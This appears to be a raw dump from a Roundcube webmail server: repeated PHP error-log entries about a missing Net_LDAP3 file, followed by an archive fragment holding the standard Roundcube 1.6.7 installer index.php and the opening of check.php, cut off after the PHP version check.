#0 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(576): include()
#1 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(427): Composer\Autoload\{closure}()
#2 [internal function]: Composer\Autoload\ClassLoader->loadClass()
#3 /home/lnzliplg/public_html/roundcube/installer/check.php(203): class_exists()
#4 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#5 {main}
  thrown in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[04-Apr-2026 00:45:39 UTC] PHP Warning:  require_once(/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php): Failed to open stream: No such file or directory in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[04-Apr-2026 00:45:39 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php' (include_path='/home/lnzliplg/public_html/roundcube/vendor/pear/pear_exception:/home/lnzliplg/public_html/roundcube/vendor/pear/console_getopt:/home/lnzliplg/public_html/roundcube/vendor/pear/pear-core-minimal/src:/home/lnzliplg/public_html/roundcube/vendor/pear/net_ldap2:/home/lnzliplg/public_html/roundcube/vendor/pear/auth_sasl:/home/lnzliplg/public_html/roundcube/vendor/pear/console_commandline:/home/lnzliplg/public_html/roundcube/vendor/pear/crypt_gpg:/home/lnzliplg/public_html/roundcube/vendor/pear/mail_mime:/home/lnzliplg/public_html/roundcube/vendor/pear/net_socket:/home/lnzliplg/public_html/roundcube/vendor/pear/net_smtp:/home/lnzliplg/public_html/roundcube/program/lib:.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php:35
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(576): include()
#1 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(427): Composer\Autoload\{closure}()
#2 [internal function]: Composer\Autoload\ClassLoader->loadClass()
#3 /home/lnzliplg/public_html/roundcube/installer/check.php(203): class_exists()
#4 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#5 {main}
  thrown in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[04-Apr-2026 01:42:15 UTC] PHP Warning:  require_once(/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php): Failed to open stream: No such file or directory in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[04-Apr-2026 01:42:15 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php' (include_path='/home/lnzliplg/public_html/roundcube/vendor/pear/pear_exception:/home/lnzliplg/public_html/roundcube/vendor/pear/console_getopt:/home/lnzliplg/public_html/roundcube/vendor/pear/pear-core-minimal/src:/home/lnzliplg/public_html/roundcube/vendor/pear/net_ldap2:/home/lnzliplg/public_html/roundcube/vendor/pear/auth_sasl:/home/lnzliplg/public_html/roundcube/vendor/pear/console_commandline:/home/lnzliplg/public_html/roundcube/vendor/pear/crypt_gpg:/home/lnzliplg/public_html/roundcube/vendor/pear/mail_mime:/home/lnzliplg/public_html/roundcube/vendor/pear/net_socket:/home/lnzliplg/public_html/roundcube/vendor/pear/net_smtp:/home/lnzliplg/public_html/roundcube/program/lib:.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php:35
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(576): include()
#1 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(427): Composer\Autoload\{closure}()
#2 [internal function]: Composer\Autoload\ClassLoader->loadClass()
#3 /home/lnzliplg/public_html/roundcube/installer/check.php(203): class_exists()
#4 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#5 {main}
  thrown in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[06-Apr-2026 11:59:52 UTC] PHP Warning:  require_once(/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php): Failed to open stream: No such file or directory in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[06-Apr-2026 11:59:52 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php' (include_path='/home/lnzliplg/public_html/roundcube/vendor/pear/pear_exception:/home/lnzliplg/public_html/roundcube/vendor/pear/console_getopt:/home/lnzliplg/public_html/roundcube/vendor/pear/pear-core-minimal/src:/home/lnzliplg/public_html/roundcube/vendor/pear/net_ldap2:/home/lnzliplg/public_html/roundcube/vendor/pear/auth_sasl:/home/lnzliplg/public_html/roundcube/vendor/pear/console_commandline:/home/lnzliplg/public_html/roundcube/vendor/pear/crypt_gpg:/home/lnzliplg/public_html/roundcube/vendor/pear/mail_mime:/home/lnzliplg/public_html/roundcube/vendor/pear/net_socket:/home/lnzliplg/public_html/roundcube/vendor/pear/net_smtp:/home/lnzliplg/public_html/roundcube/program/lib:.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php:35
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(576): include()
#1 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(427): Composer\Autoload\{closure}()
#2 [internal function]: Composer\Autoload\ClassLoader->loadClass()
#3 /home/lnzliplg/public_html/roundcube/installer/check.php(203): class_exists()
#4 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#5 {main}
  thrown in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[13-Apr-2026 12:01:39 UTC] PHP Warning:  require_once(/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php): Failed to open stream: No such file or directory in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[13-Apr-2026 12:01:39 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php' (include_path='/home/lnzliplg/public_html/roundcube/vendor/pear/pear_exception:/home/lnzliplg/public_html/roundcube/vendor/pear/console_getopt:/home/lnzliplg/public_html/roundcube/vendor/pear/pear-core-minimal/src:/home/lnzliplg/public_html/roundcube/vendor/pear/net_ldap2:/home/lnzliplg/public_html/roundcube/vendor/pear/auth_sasl:/home/lnzliplg/public_html/roundcube/vendor/pear/console_commandline:/home/lnzliplg/public_html/roundcube/vendor/pear/crypt_gpg:/home/lnzliplg/public_html/roundcube/vendor/pear/mail_mime:/home/lnzliplg/public_html/roundcube/vendor/pear/net_socket:/home/lnzliplg/public_html/roundcube/vendor/pear/net_smtp:/home/lnzliplg/public_html/roundcube/program/lib:.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php:35
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(576): include()
#1 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(427): Composer\Autoload\{closure}()
#2 [internal function]: Composer\Autoload\ClassLoader->loadClass()
#3 /home/lnzliplg/public_html/roundcube/installer/check.php(203): class_exists()
#4 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#5 {main}
  thrown in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[13-Apr-2026 17:44:32 UTC] PHP Warning:  require_once(/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php): Failed to open stream: No such file or directory in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[13-Apr-2026 17:44:32 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php' (include_path='/home/lnzliplg/public_html/roundcube/vendor/pear/pear_exception:/home/lnzliplg/public_html/roundcube/vendor/pear/console_getopt:/home/lnzliplg/public_html/roundcube/vendor/pear/pear-core-minimal/src:/home/lnzliplg/public_html/roundcube/vendor/pear/net_ldap2:/home/lnzliplg/public_html/roundcube/vendor/pear/auth_sasl:/home/lnzliplg/public_html/roundcube/vendor/pear/console_commandline:/home/lnzliplg/public_html/roundcube/vendor/pear/crypt_gpg:/home/lnzliplg/public_html/roundcube/vendor/pear/mail_mime:/home/lnzliplg/public_html/roundcube/vendor/pear/net_socket:/home/lnzliplg/public_html/roundcube/vendor/pear/net_smtp:/home/lnzliplg/public_html/roundcube/program/lib:.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php:35
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(576): include()
#1 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(427): Composer\Autoload\{closure}()
#2 [internal function]: Composer\Autoload\ClassLoader->loadClass()
#3 /home/lnzliplg/public_html/roundcube/installer/check.php(203): class_exists()
#4 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#5 {main}
  thrown in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[13-Apr-2026 17:46:11 UTC] PHP Warning:  require_once(/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php): Failed to open stream: No such file or directory in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[13-Apr-2026 17:46:11 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php' (include_path='/home/lnzliplg/public_html/roundcube/vendor/pear/pear_exception:/home/lnzliplg/public_html/roundcube/vendor/pear/console_getopt:/home/lnzliplg/public_html/roundcube/vendor/pear/pear-core-minimal/src:/home/lnzliplg/public_html/roundcube/vendor/pear/net_ldap2:/home/lnzliplg/public_html/roundcube/vendor/pear/auth_sasl:/home/lnzliplg/public_html/roundcube/vendor/pear/console_commandline:/home/lnzliplg/public_html/roundcube/vendor/pear/crypt_gpg:/home/lnzliplg/public_html/roundcube/vendor/pear/mail_mime:/home/lnzliplg/public_html/roundcube/vendor/pear/net_socket:/home/lnzliplg/public_html/roundcube/vendor/pear/net_smtp:/home/lnzliplg/public_html/roundcube/program/lib:.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php:35
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(576): include()
#1 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(427): Composer\Autoload\{closure}()
#2 [internal function]: Composer\Autoload\ClassLoader->loadClass()
#3 /home/lnzliplg/public_html/roundcube/installer/check.php(203): class_exists()
#4 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#5 {main}
  thrown in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[15-Apr-2026 00:04:40 UTC] PHP Warning:  require_once(/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php): Failed to open stream: No such file or directory in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[15-Apr-2026 00:04:40 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php' (include_path='/home/lnzliplg/public_html/roundcube/vendor/pear/pear_exception:/home/lnzliplg/public_html/roundcube/vendor/pear/console_getopt:/home/lnzliplg/public_html/roundcube/vendor/pear/pear-core-minimal/src:/home/lnzliplg/public_html/roundcube/vendor/pear/net_ldap2:/home/lnzliplg/public_html/roundcube/vendor/pear/auth_sasl:/home/lnzliplg/public_html/roundcube/vendor/pear/console_commandline:/home/lnzliplg/public_html/roundcube/vendor/pear/crypt_gpg:/home/lnzliplg/public_html/roundcube/vendor/pear/mail_mime:/home/lnzliplg/public_html/roundcube/vendor/pear/net_socket:/home/lnzliplg/public_html/roundcube/vendor/pear/net_smtp:/home/lnzliplg/public_html/roundcube/program/lib:.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php:35
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(576): include()
#1 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(427): Composer\Autoload\{closure}()
#2 [internal function]: Composer\Autoload\ClassLoader->loadClass()
#3 /home/lnzliplg/public_html/roundcube/installer/check.php(203): class_exists()
#4 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#5 {main}
  thrown in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[20-Apr-2026 11:56:32 UTC] PHP Warning:  require_once(/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php): Failed to open stream: No such file or directory in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[20-Apr-2026 11:56:32 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php' (include_path='/home/lnzliplg/public_html/roundcube/vendor/pear/pear_exception:/home/lnzliplg/public_html/roundcube/vendor/pear/console_getopt:/home/lnzliplg/public_html/roundcube/vendor/pear/pear-core-minimal/src:/home/lnzliplg/public_html/roundcube/vendor/pear/net_ldap2:/home/lnzliplg/public_html/roundcube/vendor/pear/auth_sasl:/home/lnzliplg/public_html/roundcube/vendor/pear/console_commandline:/home/lnzliplg/public_html/roundcube/vendor/pear/crypt_gpg:/home/lnzliplg/public_html/roundcube/vendor/pear/mail_mime:/home/lnzliplg/public_html/roundcube/vendor/pear/net_socket:/home/lnzliplg/public_html/roundcube/vendor/pear/net_smtp:/home/lnzliplg/public_html/roundcube/program/lib:.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php:35
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(576): include()
#1 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(427): Composer\Autoload\{closure}()
#2 [internal function]: Composer\Autoload\ClassLoader->loadClass()
#3 /home/lnzliplg/public_html/roundcube/installer/check.php(203): class_exists()
#4 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#5 {main}
  thrown in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[24-Apr-2026 10:12:53 UTC] PHP Warning:  require_once(/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php): Failed to open stream: No such file or directory in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[24-Apr-2026 10:12:53 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php' (include_path='/home/lnzliplg/public_html/roundcube/vendor/pear/pear_exception:/home/lnzliplg/public_html/roundcube/vendor/pear/console_getopt:/home/lnzliplg/public_html/roundcube/vendor/pear/pear-core-minimal/src:/home/lnzliplg/public_html/roundcube/vendor/pear/net_ldap2:/home/lnzliplg/public_html/roundcube/vendor/pear/auth_sasl:/home/lnzliplg/public_html/roundcube/vendor/pear/console_commandline:/home/lnzliplg/public_html/roundcube/vendor/pear/crypt_gpg:/home/lnzliplg/public_html/roundcube/vendor/pear/mail_mime:/home/lnzliplg/public_html/roundcube/vendor/pear/net_socket:/home/lnzliplg/public_html/roundcube/vendor/pear/net_smtp:/home/lnzliplg/public_html/roundcube/program/lib:.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php:35
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(576): include()
#1 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(427): Composer\Autoload\{closure}()
#2 [internal function]: Composer\Autoload\ClassLoader->loadClass()
#3 /home/lnzliplg/public_html/roundcube/installer/check.php(203): class_exists()
#4 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#5 {main}
  thrown in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[24-Apr-2026 10:45:09 UTC] PHP Warning:  require_once(/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php): Failed to open stream: No such file or directory in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
[24-Apr-2026 10:45:09 UTC] PHP Fatal error:  Uncaught Error: Failed opening required '/home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3/Result.php' (include_path='/home/lnzliplg/public_html/roundcube/vendor/pear/pear_exception:/home/lnzliplg/public_html/roundcube/vendor/pear/console_getopt:/home/lnzliplg/public_html/roundcube/vendor/pear/pear-core-minimal/src:/home/lnzliplg/public_html/roundcube/vendor/pear/net_ldap2:/home/lnzliplg/public_html/roundcube/vendor/pear/auth_sasl:/home/lnzliplg/public_html/roundcube/vendor/pear/console_commandline:/home/lnzliplg/public_html/roundcube/vendor/pear/crypt_gpg:/home/lnzliplg/public_html/roundcube/vendor/pear/mail_mime:/home/lnzliplg/public_html/roundcube/vendor/pear/net_socket:/home/lnzliplg/public_html/roundcube/vendor/pear/net_smtp:/home/lnzliplg/public_html/roundcube/program/lib:.:/opt/alt/php81/usr/share/pear:/opt/alt/php81/usr/share/php:/usr/share/pear:/usr/share/php') in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php:35
Stack trace:
#0 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(576): include()
#1 /home/lnzliplg/public_html/roundcube/vendor/composer/ClassLoader.php(427): Composer\Autoload\{closure}()
#2 [internal function]: Composer\Autoload\ClassLoader->loadClass()
#3 /home/lnzliplg/public_html/roundcube/installer/check.php(203): class_exists()
#4 /home/lnzliplg/public_html/roundcube/installer/index.php(163): include('/home/lnzliplg/...')
#5 {main}
  thrown in /home/lnzliplg/public_html/roundcube/vendor/kolab/net_ldap3/lib/Net/LDAP3.php on line 35
PKh�\酏JTTinstaller/index.phpnu�[���<?php

/**
 +-------------------------------------------------------------------------+
 | Roundcube Webmail setup tool                                            |
 | Version 1.6.7                                                         |
 |                                                                         |
 | Copyright (C) The Roundcube Dev Team                                    |
 |                                                                         |
 | This program is free software: you can redistribute it and/or modify    |
 | it under the terms of the GNU General Public License (with exceptions   |
 | for skins & plugins) as published by the Free Software Foundation,      |
 | either version 3 of the License, or (at your option) any later version. |
 |                                                                         |
 | This file forms part of the Roundcube Webmail Software for which the    |
 | following exception is added: Plugins and Skins which merely make       |
 | function calls to the Roundcube Webmail Software, and for that purpose  |
 | include it by reference shall not be considered modifications of        |
 | the software.                                                           |
 |                                                                         |
 | If you wish to use this file in another project or create a modified    |
 | version that will not be part of the Roundcube Webmail Software, you    |
 | may remove the exception above and use this source code under the       |
 | original version of the license.                                        |
 |                                                                         |
 | This program is distributed in the hope that it will be useful,         |
 | but WITHOUT ANY WARRANTY; without even the implied warranty of          |
 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the            |
 | GNU General Public License for more details.                            |
 |                                                                         |
 | You should have received a copy of the GNU General Public License       |
 | along with this program.  If not, see http://www.gnu.org/licenses/.     |
 |                                                                         |
 +-------------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                          |
 +-------------------------------------------------------------------------+
*/

ini_set('display_errors', 1);

define('INSTALL_PATH', realpath(__DIR__ . '/../').'/');

require INSTALL_PATH . 'program/include/iniset.php';

if (function_exists('session_start')) {
    session_start();
}

$RCI = rcmail_install::get_instance();
$RCI->load_config();

if (isset($_GET['_getconfig'])) {
    $filename = 'config.inc.php';
    if (!empty($_SESSION['config']) && $_GET['_getconfig'] == 2) {
        $path = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $filename;
        @unlink($path);
        file_put_contents($path, $_SESSION['config']);
        exit;
    }

    if (!empty($_SESSION['config'])) {
        header('Content-type: text/plain');
        header('Content-Disposition: attachment; filename="'.$filename.'"');
        echo $_SESSION['config'];
        exit;
    }

    header('HTTP/1.0 404 Not found');
    die("The requested configuration was not found. Please run the installer from the beginning.");
}

if (
    $RCI->configured
    && !empty($_GET['_mergeconfig'])
    && ($RCI->getprop('enable_installer') || !empty($_SESSION['allowinstaller']))
) {
    $filename = 'config.inc.php';

    header('Content-type: text/plain');
    header('Content-Disposition: attachment; filename="'.$filename.'"');

    $RCI->merge_config();
    echo $RCI->create_config();
    exit;
}

// go to 'check env' step if we have a local configuration
if ($RCI->configured && empty($_REQUEST['_step'])) {
    header("Location: ./?_step=1");
    exit;
}

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Roundcube Webmail Installer</title>
<meta name="Robots" content="noindex,nofollow" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="styles.css" />
<script type="text/javascript" src="client.js"></script>
</head>

<body>

<div id="banner">
  <div class="banner-bg"></div>
  <div class="banner-logo"><a href="http://roundcube.net"><img src="images/roundcube_logo.png" width="210" height="55" border="0" alt="Roundcube - open source webmail software" /></a></div>
</div>

<div id="topnav">
  <a href="https://github.com/roundcube/roundcubemail/wiki/Installation">How-to Wiki</a>
</div>

<div id="content">

<?php

// exit if installation is complete
if ($RCI->configured && !$RCI->getprop('enable_installer') && empty($_SESSION['allowinstaller'])) {
    // header("HTTP/1.0 404 Not Found");
    if ($RCI->configured && $RCI->legacy_config) {
        echo '<h2 class="error">Your configuration needs to be migrated!</h2>';
        echo '<p>We changed the configuration files structure and your installation needs to be updated accordingly.</p>';
        echo '<p>Please run the <tt>bin/update.sh</tt> script from the command line or set <p>&nbsp; <tt>$rcube_config[\'enable_installer\'] = true;</tt></p>';
        echo ' in your RCUBE_CONFIG_DIR/main.inc.php to let the installer help you migrating it.</p>';
    }
    else {
        echo '<h2 class="error">The installer is disabled!</h2>';
        echo '<p>To enable it again, set <tt>$config[\'enable_installer\'] = true;</tt> in RCUBE_CONFIG_DIR/config.inc.php</p>';
    }

    echo '</div></body></html>';
    exit;
}

?>

<h1>Roundcube Webmail Installer</h1>

<ol id="progress">
<?php
$include_steps = [
    1 => './check.php',
    2 => './config.php',
    3 => './test.php',
];

if (!in_array($RCI->step, array_keys($include_steps))) {
    $RCI->step = 1;
}

foreach (['Check environment', 'Create config', 'Test config'] as $i => $item) {
    $j = $i + 1;
    $link = ($RCI->step >= $j || $RCI->configured) ? '<a href="./index.php?_step='.$j.'">' . rcube::Q($item) . '</a>' : rcube::Q($item);
    printf('<li class="step%d%s">%s</li>', $j+1, $RCI->step > $j ? ' passed' : ($RCI->step == $j ? ' current' : ''), $link);
}
?>
</ol>

<?php

include $include_steps[$RCI->step];

?>
</div>

<div id="footer">
  Installer by the Roundcube Dev Team. Copyright &copy; 2008-2021 – Published under the GNU Public License;&nbsp;
  Icons by <a href="http://famfamfam.com">famfamfam</a>
</div>
</body>
</html>
PKh�\�L$$installer/check.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

if (!class_exists('rcmail_install', false) || !isset($RCI)) {
    die("Not allowed! Please open installer/index.php instead.");
}

$required_php_exts = [
    'PCRE'      => 'pcre',
    'DOM'       => 'dom',
    'Session'   => 'session',
    'XML'       => 'xml',
    'Intl'      => 'intl',
    'JSON'      => 'json',
    'PDO'       => 'PDO',
    'Multibyte' => 'mbstring',
    'OpenSSL'   => 'openssl',
    'Filter'    => 'filter',
    'Ctype'     => 'ctype',
];

$optional_php_exts = [
    'cURL'      => 'curl',
    'FileInfo'  => 'fileinfo',
    'Exif'      => 'exif',
    'Iconv'     => 'iconv',
    'LDAP'      => 'ldap',
    'GD'        => 'gd',
    'Imagick'   => 'imagick',
    'XMLWriter' => 'xmlwriter',
    'Zip'       => 'zip',
];

$required_libs = [
    'PEAR'      => 'pear.php.net',
    'Auth_SASL' => 'pear.php.net',
    'Net_SMTP'  => 'pear.php.net',
    'Mail_mime' => 'pear.php.net',
    'GuzzleHttp\Client' => 'github.com/guzzle/guzzle',
];

$optional_libs = [
    'Net_LDAP3' => 'git.kolab.org',
];

$ini_checks = [
    'file_uploads'            => 1,
    'session.auto_start'      => 0,
    'mbstring.func_overload'  => 0,
    'suhosin.session.encrypt' => 0,
];

$optional_checks = [
    'date.timezone' => '-VALID-',
];

$source_urls = [
    'cURL'      => 'https://www.php.net/manual/en/book.curl.php',
    'Sockets'   => 'https://www.php.net/manual/en/book.sockets.php',
    'Session'   => 'https://www.php.net/manual/en/book.session.php',
    'PCRE'      => 'https://www.php.net/manual/en/book.pcre.php',
    'FileInfo'  => 'https://www.php.net/manual/en/book.fileinfo.php',
    'Multibyte' => 'https://www.php.net/manual/en/book.mbstring.php',
    'OpenSSL'   => 'https://www.php.net/manual/en/book.openssl.php',
    'JSON'      => 'https://www.php.net/manual/en/book.json.php',
    'DOM'       => 'https://www.php.net/manual/en/book.dom.php',
    'Iconv'     => 'https://www.php.net/manual/en/book.iconv.php',
    'Intl'      => 'https://www.php.net/manual/en/book.intl.php',
    'Exif'      => 'https://www.php.net/manual/en/book.exif.php',
    'oci8'      => 'https://www.php.net/manual/en/book.oci8.php',
    'PDO'       => 'https://www.php.net/manual/en/book.pdo.php',
    'LDAP'      => 'https://www.php.net/manual/en/book.ldap.php',
    'GD'        => 'https://www.php.net/manual/en/book.image.php',
    'Imagick'   => 'https://www.php.net/manual/en/book.imagick.php',
    'XML'       => 'https://www.php.net/manual/en/book.xml.php',
    'XMLWriter' => 'https://www.php.net/manual/en/book.xmlwriter.php',
    'Zip'       => 'https://www.php.net/manual/en/book.zip.php',
    'Filter'    => 'https://www.php.net/manual/en/book.filter.php',
    'Ctype'     => 'https://www.php.net/manual/en/book.ctype.php',
    'pdo_mysql'   => 'https://www.php.net/manual/en/ref.pdo-mysql.php',
    'pdo_pgsql'   => 'https://www.php.net/manual/en/ref.pdo-pgsql.php',
    'pdo_sqlite'  => 'https://www.php.net/manual/en/ref.pdo-sqlite.php',
    'pdo_sqlite2' => 'https://www.php.net/manual/en/ref.pdo-sqlite.php',
    'pdo_sqlsrv'  => 'https://www.php.net/manual/en/ref.pdo-sqlsrv.php',
    'pdo_dblib'   => 'https://www.php.net/manual/en/ref.pdo-dblib.php',
    'PEAR'      => 'https://pear.php.net',
    'Net_SMTP'  => 'https://pear.php.net/package/Net_SMTP',
    'Mail_mime' => 'https://pear.php.net/package/Mail_mime',
    'Net_LDAP3' => 'https://git.kolab.org/diffusion/PNL',
];

?>
<form action="index.php" method="get">

<?php
echo '<input type="hidden" name="_step" value="' . ($RCI->configured ? 3 : 2) . '" />';
?>

<h3>Checking PHP version</h3>
<?php

define('MIN_PHP_VERSION', '7.3.0');
if (version_compare(PHP_VERSION, MIN_PHP_VERSION, '>=')) {
    $RCI->pass('Version', 'PHP ' . PHP_VERSION . ' detected');
}
else {
    $RCI->fail('Version', 'PHP Version ' . MIN_PHP_VERSION . ' or greater is required ' . PHP_VERSION . ' detected');
}
?>

